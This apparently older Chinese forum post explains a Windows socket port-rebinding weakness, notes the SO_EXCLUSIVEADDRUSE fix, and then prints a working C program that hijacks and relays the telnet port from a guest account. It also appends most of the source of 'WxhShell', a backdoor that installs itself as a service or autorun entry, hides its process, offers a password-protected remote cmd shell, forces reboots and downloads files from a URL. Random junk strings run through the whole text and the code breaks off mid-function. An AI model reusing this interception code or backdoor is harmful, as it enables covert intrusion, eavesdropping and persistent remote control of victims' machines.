在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
2r~&+0sBP s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
fW'U7&O L_4ZxsIv saddr.sin_family = AF_INET;
zLHE; G B&+EZ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
"t\gkJyK rt7]~W- bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
d3| oKP6 r=3knCEWK 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
u/8urxpy =P.m5e< 这意味着什么?意味着可以进行如下的攻击:
r+WY7'c >S:>_&I`I 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
CN"hx-f ugI9rxT]Kv 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Xu8_ <% 4[]/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
"x)xjL F]SA1ry 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$SmmrM =1}Umn|ZLS 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
T]fu[yRVvg Cp@'
k;( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
?]#U~M<' Aj;F$(su 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
G`HL^/Z* IO\>U(:vx #include
W l+[{# #include
uKcwVEu #include
uM^eoh_ #include
m% {4 DWORD WINAPI ClientThread(LPVOID lpParam);
=tv,B3Mo int main()
1E*No1 {
!awfxH0 WORD wVersionRequested;
6SIk,Isy8 DWORD ret;
8C{mV^cn~ WSADATA wsaData;
=+qtk(p BOOL val;
V~uH)IMkh7 SOCKADDR_IN saddr;
%;E/{gO SOCKADDR_IN scaddr;
>7VOytc int err;
W5_:Q@ SOCKET s;
xjOj1Hv SOCKET sc;
MxY~(TVPK int caddsize;
-U?Udmov HANDLE mt;
Eo$7W5hJ DWORD tid;
WmRx_d_ wVersionRequested = MAKEWORD( 2, 2 );
eL-9fld/n err = WSAStartup( wVersionRequested, &wsaData );
65ctxxWv1 if ( err != 0 ) {
9aR-kcvJIJ printf("error!WSAStartup failed!\n");
9$ z|kwU return -1;
E,[@jxP }
na&?Cw saddr.sin_family = AF_INET;
mOb*VH =Kv*M@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
PSO9{! .
_5g<aw; saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
V^P]QQ\
) saddr.sin_port = htons(23);
DB'd9< if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
TRl,L5wd-? {
e `!PQMLU printf("error!socket failed!\n");
1N_Gk& return -1;
R7o3X,-iwn }
* ?a-m\ val = TRUE;
XA~Cc<v //SO_REUSEADDR选项就是可以实现端口重绑定的
.X;zEyd if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
mZ^z%+Ca| {
\G?GX printf("error!setsockopt failed!\n");
7|IOn5 return -1;
E*ug.nxy }
K 9ytot //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'E{n1[b //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
@?$x //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
<6]TazW?S ^T[8j/9o^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
eC^UL5>% {
:Rh?#yO5 ret=GetLastError();
37hs/=x printf("error!bind failed!\n");
R#ABda9 return -1;
GHaOFLY }
.a%D:4GYR listen(s,2);
,Jy@n]x while(1)
+!'\}"q {
OS k+l caddsize = sizeof(scaddr);
[i18$q5D //接受连接请求
HJVi:;o
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
H uPw?8w= if(sc!=INVALID_SOCKET)
.Vm!Ng )j {
>~-8RM mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
L>
ehL(]! if(mt==NULL)
uES|jU{]b {
*OOi printf("Thread Creat Failed!\n");
+/tNd2 break;
@)A) cBv# }
42a.@JbLQ }
Wj"\nT4 CloseHandle(mt);
]Q Y:t:- }
"K3"s Ec% closesocket(s);
/DG+8u WSACleanup();
[Bn C_^[W return 0;
eSNwAExm }
'D ,efTq DWORD WINAPI ClientThread(LPVOID lpParam)
M ABrf`<b {
[?3]+xr: SOCKET ss = (SOCKET)lpParam;
G%{J.J41F SOCKET sc;
"~R,%sYb( unsigned char buf[4096];
!_Z\K$Ns SOCKADDR_IN saddr;
ke'aSD long num;
3*< O-Jr DWORD val;
9yU(ei:GUo DWORD ret;
dWK;
h //如果是隐藏端口应用的话,可以在此处加一些判断
00Tm]mMQX //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
0p"l}Fu@` saddr.sin_family = AF_INET;
\LYB% K} saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
xq`mo saddr.sin_port = htons(23);
oy8L{8? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dNH6%1(s]0 {
nQe^Bn printf("error!socket failed!\n");
N03)G2 return -1;
Akar@ wh }
>o=O^:/L val = 100;
[1+ o if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4R 9lA {
( v<l9}! ret = GetLastError();
=<,>dBs}\ return -1;
,"MRA }
G@Ha
t if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
N_3$B= {
/W vF}y ret = GetLastError();
1r!o,0!d-' return -1;
M]FA
y "E }
6Z09)}tZb if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
:%_*C09 {
(u/-ud1p printf("error!socket connect failed!\n");
<ttrd%VW closesocket(sc);
'CF?pxNQ l closesocket(ss);
$<;!F=%8 return -1;
(T290a9y> }
MK"p~b0-> while(1)
R,+Pcn$ws {
N*J!<vY" //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
]]sy+$@~ //如果是嗅探内容的话,可以再此处进行内容分析和记录
)4nf={iM //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
/wt!c?wR num = recv(ss,buf,4096,0);
vy:-a G if(num>0)
GSHJ?}U, send(sc,buf,num,0);
%pikt7,Z~ else if(num==0)
(8JL/S;Z$ break;
Lek!5Ug num = recv(sc,buf,4096,0);
7D5[
L if(num>0)
2O|jVGap5x send(ss,buf,num,0);
f*Z8C9) else if(num==0)
OTgctw1s break;
UY(pKe> }
8C,}nh closesocket(ss);
*Sd}cDCO% closesocket(sc);
3pzp6o2 return 0 ;
}MUQO<=* }
8iv0&91Z &c?q#-^)\+ [-ONs ==========================================================
2p^Jqp`$ @2yoy&IO 下边附上一个代码,,WXhSHELL
Z<P?P` |M8FMH[_ ==========================================================
;u:A:Y4V ~J~@mE2ks #include "stdafx.h"
xE$>;30b_ xbVvK+ #include <stdio.h>
8fI]QW #include <string.h>
nj90`O.K #include <windows.h>
Z.^DJ9E<1 #include <winsock2.h>
";kwh8wB #include <winsvc.h>
UFE# J #include <urlmon.h>
Q1Jw7R#?l "b~-`ni #pragma comment (lib, "Ws2_32.lib")
Gy]ZYo( #pragma comment (lib, "urlmon.lib")
QL].)Vgf jDO"?@+ #define MAX_USER 100 // 最大客户端连接数
[:hTwBRF #define BUF_SOCK 200 // sock buffer
sKg
IKYG}T #define KEY_BUFF 255 // 输入 buffer
Oax6_kmOj pr=f6~Z-y #define REBOOT 0 // 重启
;7:_:o[. #define SHUTDOWN 1 // 关机
!~j-5+DI j7(S= #define DEF_PORT 5000 // 监听端口
EPd9'9S )ajF ca@v #define REG_LEN 16 // 注册表键长度
h!~Qyb>W #define SVC_LEN 80 // NT服务名长度
v=pkze bZ5cKQ\6 // 从dll定义API
6E^h#Ozl
9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
BN_I#8r typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
nB|m!fi< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Eo)
#t{{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
3+<f7 s)A=hB-V // wxhshell配置信息
JEL.*[/ struct WSCFG {
>s%&t[r6 int ws_port; // 监听端口
6_=t~9sY char ws_passstr[REG_LEN]; // 口令
B4#XQ- int ws_autoins; // 安装标记, 1=yes 0=no
0Tv0:c>8;( char ws_regname[REG_LEN]; // 注册表键名
a_T3< char ws_svcname[REG_LEN]; // 服务名
"<N2TDF5 char ws_svcdisp[SVC_LEN]; // 服务显示名
LykB2]T char ws_svcdesc[SVC_LEN]; // 服务描述信息
r\j*?m ] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
w/oXFs&FK int ws_downexe; // 下载执行标记, 1=yes 0=no
s7Z+--I)L char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
_{C
=d3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
n40&4n WSsX*L };
ev4f9Fhu W2w A66MB // default Wxhshell configuration
IaHu$` v struct WSCFG wscfg={DEF_PORT,
`
it<\r[= "xuhuanlingzhe",
>zS<1 1,
o>l/*i0I "Wxhshell",
"\~d!"n|2 "Wxhshell",
I1)t1%6"vJ "WxhShell Service",
F*4zC@; "Wrsky Windows CmdShell Service",
Ivx]DXR| "Please Input Your Password: ",
}2]m]D@%7 1,
PK&\pkX "
http://www.wrsky.com/wxhshell.exe",
xbNL <3"a "Wxhshell.exe"
<*3#nA-O>i };
'},
8x?
PKg>|]Rf. // 消息定义模块
PNp-/1Cx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
VkD}gJY char *msg_ws_prompt="\n\r? for help\n\r#>";
Q`zW[Y&] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
=K;M\_k%y char *msg_ws_ext="\n\rExit.";
(7 O?NS char *msg_ws_end="\n\rQuit.";
8-s7s!j char *msg_ws_boot="\n\rReboot...";
}Y&|v q char *msg_ws_poff="\n\rShutdown...";
ra|Ku! char *msg_ws_down="\n\rSave to ";
3+WmM4| W @]t char *msg_ws_err="\n\rErr!";
A|`mIma# char *msg_ws_ok="\n\rOK!";
(`js/7[`H[ o:c:hSV char ExeFile[MAX_PATH];
>9+h2B
int nUser = 0;
08qM?{zo^ HANDLE handles[MAX_USER];
Yl`)%6'5| int OsIsNt;
lcR1FbJ2' "KKw\i SERVICE_STATUS serviceStatus;
=`OnFdI SERVICE_STATUS_HANDLE hServiceStatusHandle;
H{,qw%.|KA E#VF7 9L // 函数声明
I\~sE Jwj int Install(void);
.H}#,pQ}l int Uninstall(void);
*[+{KJ int DownloadFile(char *sURL, SOCKET wsh);
zrL +:/t int Boot(int flag);
U.pGp]\Q)G void HideProc(void);
:I(d-,C int GetOsVer(void);
1'!%$D int Wxhshell(SOCKET wsl);
<T`&NA@%~$ void TalkWithClient(void *cs);
K)#6&\0tT int CmdShell(SOCKET sock);
P{2j31u` int StartFromService(void);
<"@5. f1"Y int StartWxhshell(LPSTR lpCmdLine);
4G'-"u^g NJmyp!8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
"V<WC" VOID WINAPI NTServiceHandler( DWORD fdwControl );
dYZB>
OS #b@ sV$ // 数据结构和表定义
P*/ig0_fM SERVICE_TABLE_ENTRY DispatchTable[] =
=\IUBH+C {
v<vaPvW {wscfg.ws_svcname, NTServiceMain},
d Z}|G-: {NULL, NULL}
A-l[f\ };
,0aRHy_^ Vx%!j& // 自我安装
iZE7
B7K int Install(void)
TGZr
[ {
g4Nl"s*~ char svExeFile[MAX_PATH];
eQJyO9$G HKEY key;
59H~qE1Md strcpy(svExeFile,ExeFile);
4ah5}9{g W?yGV{#V(= // 如果是win9x系统,修改注册表设为自启动
&sooXKlv| if(!OsIsNt) {
]<k+a-Tt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+wcif- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,VZ<r5NT RegCloseKey(key);
xTy)qN]P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
T~~K~a\8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)v %tyU RegCloseKey(key);
%FJB9?9=| return 0;
NdB:2P }
}1|FES }
GHFYIor }
2XrYm"6w else {
x{3q'2 aPin6L$;) // 如果是NT以上系统,安装为系统服务
,"f2-KC4h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Go
!{T if (schSCManager!=0)
COcS
w {
}'4aW_ta SC_HANDLE schService = CreateService
OE2r2ad (
IJBIO>Z/ schSCManager,
^-,@D+eW wscfg.ws_svcname,
r[P+F wscfg.ws_svcdisp,
g:?p/L SERVICE_ALL_ACCESS,
ASa)xf9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
V1\Rj0#G SERVICE_AUTO_START,
aK--D2@}i SERVICE_ERROR_NORMAL,
sV`p3L8pl svExeFile,
G"U^]$(+K NULL,
s,~g| I\ NULL,
*rmM2{6 NULL,
?pV!`vp^{ NULL,
uE'Kk8 NULL
6Ok]E` );
[{6fyd; if (schService!=0)
g5t`YcL {
Q@/Z~xw"'I CloseServiceHandle(schService);
^=y%s CloseServiceHandle(schSCManager);
Zn6u6<O= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
HJ;!'@ strcat(svExeFile,wscfg.ws_svcname);
;+rcT;_^/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
m:c .dei5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
SzyaVBD3 RegCloseKey(key);
!rff/0/x" return 0;
40%<E }
A }d\ND }
z7R2viR[ CloseServiceHandle(schSCManager);
n7L|XkaQ }
4MP8t@z }
TiD|.a8S 1B~[L 5p9 return 1;
sZ#U{LI }
Dq`$3ZeA @j=rSS // 自我卸载
/.Jq]" int Uninstall(void)
f}7/UGd {
TnJNs HKEY key;
WntolYd gq050Bl) if(!OsIsNt) {
"8/BVW^bv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
uuYeXI; RegDeleteValue(key,wscfg.ws_regname);
"6>+IF RegCloseKey(key);
r\$`e7d}! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
HH|N~pBJB RegDeleteValue(key,wscfg.ws_regname);
K6N+0# RegCloseKey(key);
apWv+A return 0;
NB3ar&.$S }
W('V2Z-q }
#^xj"}o@ }
~$m:j]; else {
l{hO"fzy ISg-?h/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
'LC0hoV if (schSCManager!=0)
?%Gzd(YEY {
uIR/^o SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
\ `| if (schService!=0)
6`Diz_( {
<J-.,: if(DeleteService(schService)!=0) {
G| qsJ CloseServiceHandle(schService);
t]8nRZ1 CloseServiceHandle(schSCManager);
CB`GiH/j return 0;
@P<aTRy,f }
N[kl3h%q CloseServiceHandle(schService);
X-`PF }
hQaa"U7[ CloseServiceHandle(schSCManager);
EXti }
iVA=D&eZ }
.@@&q4=& ),5A&qT* return 1;
a|Wrc)UR }
^tI4 FQ>Y t!o=-k // 从指定url下载文件
K9) |b`E= int DownloadFile(char *sURL, SOCKET wsh)
d)L,kzN {
rs,:pU HRESULT hr;
>Zh^,T={G char seps[]= "/";
i&0Zli char *token;
:"`1}Q char *file;
V lS`m,:{ char myURL[MAX_PATH];
)p[Qj58 char myFILE[MAX_PATH];
n7hjYNJ LrdX^_,nt strcpy(myURL,sURL);
5Vlm?mPU token=strtok(myURL,seps);
]*<!|;q while(token!=NULL)
cQ(,M {
o_cAelI[! file=token;
Vw5Pgt x token=strtok(NULL,seps);
o^Qy71Uj }
BQ(sjJ$v6F JY$+<`XM GetCurrentDirectory(MAX_PATH,myFILE);
8?h&FbmB strcat(myFILE, "\\");
mX GW+ strcat(myFILE, file);
:.SwO<j send(wsh,myFILE,strlen(myFILE),0);
yDAvl+
send(wsh,"...",3,0);
$LOf2 kn hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
g|5cO3m0' if(hr==S_OK)
/`g~lww2O return 0;
}UqL2KXi4 else
2C#b-Y1~N return 1;
S y^et yLQwG., }
Za7!n{?0 tLM/STb6 // 系统电源模块
ET\rd5Po int Boot(int flag)
jV(b?r)eT{ {
D{M&>. HANDLE hToken;
qm"AatA TOKEN_PRIVILEGES tkp;
IY}{1[<N _vUId?9@+e if(OsIsNt) {
#-kx$(''V OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
@[~j|YH} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
q1Ehl
S tkp.PrivilegeCount = 1;
9Rb
tFwbn tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
7e6;
|? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
8^hbS%s! if(flag==REBOOT) {
]wEFm;N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
s(y=u > return 0;
Gg6<4T1 }
CW?R7A/ else {
-"}nm!j /5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
2cko
GafG{ return 0;
mw~$;64;a }
a~F\2`Q }
XRXQ
7\n else {
K.42 VM)F if(flag==REBOOT) {
wQ '_, d if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
OK%d1M^8j return 0;
vGD D }
e]D TK*W~ else {
~2O1$o u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
6d;RtCENo return 0;
'@WS7`@-y }
Je=k.pO1 }
<UbLds{+Uo \6vr)1~N> return 1;
-8z@FLUK- }
W.?EjEx pW-aX)\DR // win9x进程隐藏模块
BP8jReX^ void HideProc(void)
3Cg0^~?6- {
j~#v*qmDU h:4F?'W HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
wPr!.:MF if ( hKernel != NULL )
5N$O {
4td9=dNA+l pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
sH :_sOV* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
fPab%>/T{ FreeLibrary(hKernel);
yXCJ? }
ML:H\ APq Yf<W return;
(gb
vInZ }
W!)B%.Q tWA<OOl
// 获取操作系统版本
`bjPOA(g int GetOsVer(void)
CB>*(Mu {
"\rR0V!wA OSVERSIONINFO winfo;
E6clVa winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
sYd)r%%AU GetVersionEx(&winfo);
d1u6*&@lf if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
7xCm"jgP return 1;
0w?G&jjNtM else
H+ 7Fw'u return 0;
Sw~L
M&A }
T49^ 5]Y?NN,GR // 客户端句柄模块
>"pHk@AW K int Wxhshell(SOCKET wsl)
^) 5*?8# {
;f9a0V s SOCKET wsh;
SH;:bLk_ struct sockaddr_in client;
FXFyF*w2 DWORD myID;
~iU@ns|g\ XW BTBL while(nUser<MAX_USER)
6:AZZF1 {
-02.n}u> int nSize=sizeof(client);
. 12H/F wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
diD[/&k#kh if(wsh==INVALID_SOCKET) return 1;
'?qI_LP? %KW NY(m handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
6}?5Oy_XF2 if(handles[nUser]==0)
lh*!f$2~ closesocket(wsh);
GUUd(xS{ else
}/}eZCaG nUser++;
*m:'~\[u }
(?#"S67 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
G!g];7PG( ,*g.?q@W2 return 0;
/ e]R0NI }
xv0y?#`z ].3@ Dk // 关闭 socket
<&iLMb:% void CloseIt(SOCKET wsh)
/gq\.+'{ {
&?3P5dy_ closesocket(wsh);
UaM&/K9 nUser--;
RwDXOdgu ExitThread(0);
MsjC4(Xla. }
l` ?4O A\QrawBp0l // 客户端请求句柄
=$WDB=i void TalkWithClient(void *cs)
7x)32f" {
X oh@ (% $fQ'q3 SOCKET wsh=(SOCKET)cs;
=7Sw29u< char pwd[SVC_LEN];
k;pU8y6Y char cmd[KEY_BUFF];
Hw%lT}[O char chr[1];
]`TX%Qni int i,j;
z_A34@a o;'-^ LJ while (nUser < MAX_USER) {
oE$zOS&2 15"[MX A if(wscfg.ws_passstr) {
c{wob%!> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[A#>G4a< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
xHWD1> //ZeroMemory(pwd,KEY_BUFF);
P B"nf|pm i=0;
4\(|V
fy while(i<SVC_LEN) {
AqjEz+TVt ANXN.V // 设置超时
JVh/<A fd_set FdRead;
<M M(Z struct timeval TimeOut;
o`7B@] FD_ZERO(&FdRead);
HQ`A.E2 FD_SET(wsh,&FdRead);
\zV'YeG TimeOut.tv_sec=8;
yI8
/m| TimeOut.tv_usec=0;
i2n66d int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
jQY^[A if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
8|-064i>
b~Oc: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
+*KDtqZjk pwd
=chr[0]; A?Gk8
if(chr[0]==0xd || chr[0]==0xa) { 1zc-$B`t
pwd=0; jjJ l\Vn
break; 9H,Ec,.
} 7.7Z|lJ
i++; E?F?)!%
} z|sR
`]K
PZSi}j/
// 如果是非法用户,关闭 socket yMBFw:/o
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZIvP?:=!
} LKI2R_|n
aXyg`CDv
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2 [yfo8H
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]|)M /U *
Ol1P
while(1) { 7g&<ZZo
(vr
v-4
ZeroMemory(cmd,KEY_BUFF); R*z:+p}oHy
F)4;:".zna
// 自动支持客户端 telnet标准 6sl2vHzA
j=0; L+d4&x
while(j<KEY_BUFF) { &Un^
_M
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tCirdwmg
cmd[j]=chr[0]; Y lEV@
if(chr[0]==0xa || chr[0]==0xd) {
"xY]&
cmd[j]=0; i 79;;9M
break; _0=$ 2Y^
} l?swW+x\
j++; YztW1GvI
} Wf!<Qot|R#
g;PZ$|%&s>
// 下载文件 {1]/ok2k5
if(strstr(cmd,"http://")) { XoqmT/P
send(wsh,msg_ws_down,strlen(msg_ws_down),0); QX&1BKqWn
if(DownloadFile(cmd,wsh)) !ie'}|c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FV W&)-I
else ^=gzms
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i>n)T
} (DrDWD4_
else { DqTp*hI
@8xa"Dc
switch(cmd[0]) { VN!+r7w'
+^v]d_~w_
// 帮助 CPS1b
case '?': { z'd*z[L~
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @&LtIN#
break; ]@bu%_s"
} v$i[dZSN[
// 安装 )+xHv
case 'i': { q%xq\L.
if(Install()) I&Y9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tyyfMA?'L;
else Zo(p6rku
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yQM<(;\O
break; Af%#&r7W
} |<Gq^3 2
// 卸载 y%^TZ[S
case 'r': { 1l*O;J9By
if(Uninstall()) q"sD>Yh&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (D5.NB%@
else zP$Ef7bB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z3X:.%
break; ZyQ+}rO
} _wM YA8n
// 显示 wxhshell 所在路径 Kgw_c:/'
case 'p': { ?}g#Mc
char svExeFile[MAX_PATH]; f-b#F2I
strcpy(svExeFile,"\n\r"); 'HdOW[3o
strcat(svExeFile,ExeFile); +f- E8q
send(wsh,svExeFile,strlen(svExeFile),0); AJ`R2
$
break; !O-9W=NJ
} ttaYtV]]
// 重启 e}Xmb$
case 'b': { jLLZZPBK
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IR<`OA
if(Boot(REBOOT)) lq%6~va
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )5(Ko<"
else {
t/HUG#W{
closesocket(wsh); |f.R]+cH
ExitThread(0); [)&(zJHX
} y$n`+%_
break; 6q!smM
} 7<ZCeM2x
// 关机 ==z,vxr
case 'd': { ~
[4oA$[a|
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aAX(M=3
if(Boot(SHUTDOWN)) u(`,7 o "
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4xE [S
else { z2GT9
closesocket(wsh); (.DX</f/4
ExitThread(0); `?PpzDV7Y
} %bs~%6)
break; TnvX&Y'
} <RMrp@[
// 获取shell 5yhfCe m|
case 's': {
h'_@
CmdShell(wsh); mq(*4KFWJ2
closesocket(wsh); YdI&OzaroE
ExitThread(0); c!{]Z_d\
break; QE8aYPSFf
} eT|"6WJ:{
// 退出 {hLS,Me
case 'x': { )G">7cg;t
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oNfNe^/T
CloseIt(wsh); cG`R\$
break; FojsI<
} FLI0C
// 离开 ~e)`D nJ
case 'q': { E2D}F@<]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); h 'F\9t
closesocket(wsh); d&'}~C`~k
WSACleanup(); #<\A[Po
exit(1); dt efDsK
break; > $#v\8
} _Zq2 <:
} @sV6g?{tI
} 9z:P#=Q:
;6?VkF
// 提示信息 )^C w
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^j1WF[GiSO
} 6IVa(;
} Y`x54_32
O'G,
return; cS'|c06
} v/Z!Wp1LV
)$Erfu
// shell模块句柄 j0LA
int CmdShell(SOCKET sock) G%V*+Ond
{ S$Cht6m
STARTUPINFO si; 3r)<:4a
u&
ZeroMemory(&si,sizeof(si)); "t{|e6
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {M5[gr%
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lP!`lhc-^
PROCESS_INFORMATION ProcessInfo; \*5_gPj!d
char cmdline[]="cmd"; >q:0w{.TU
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q0oNRAvn"
return 0; W* XG9
} fh1rmet&Ts
c&Mci"nj0
// 自身启动模式 Iaq7<$XU
int StartFromService(void) k lRS:\dW
{ K'`N(WiL
typedef struct Dt9[uyP&
{ s5s'$|h"
DWORD ExitStatus; Z"# /,?|3@
DWORD PebBaseAddress; 6+MZ39xC
DWORD AffinityMask; gZFtV
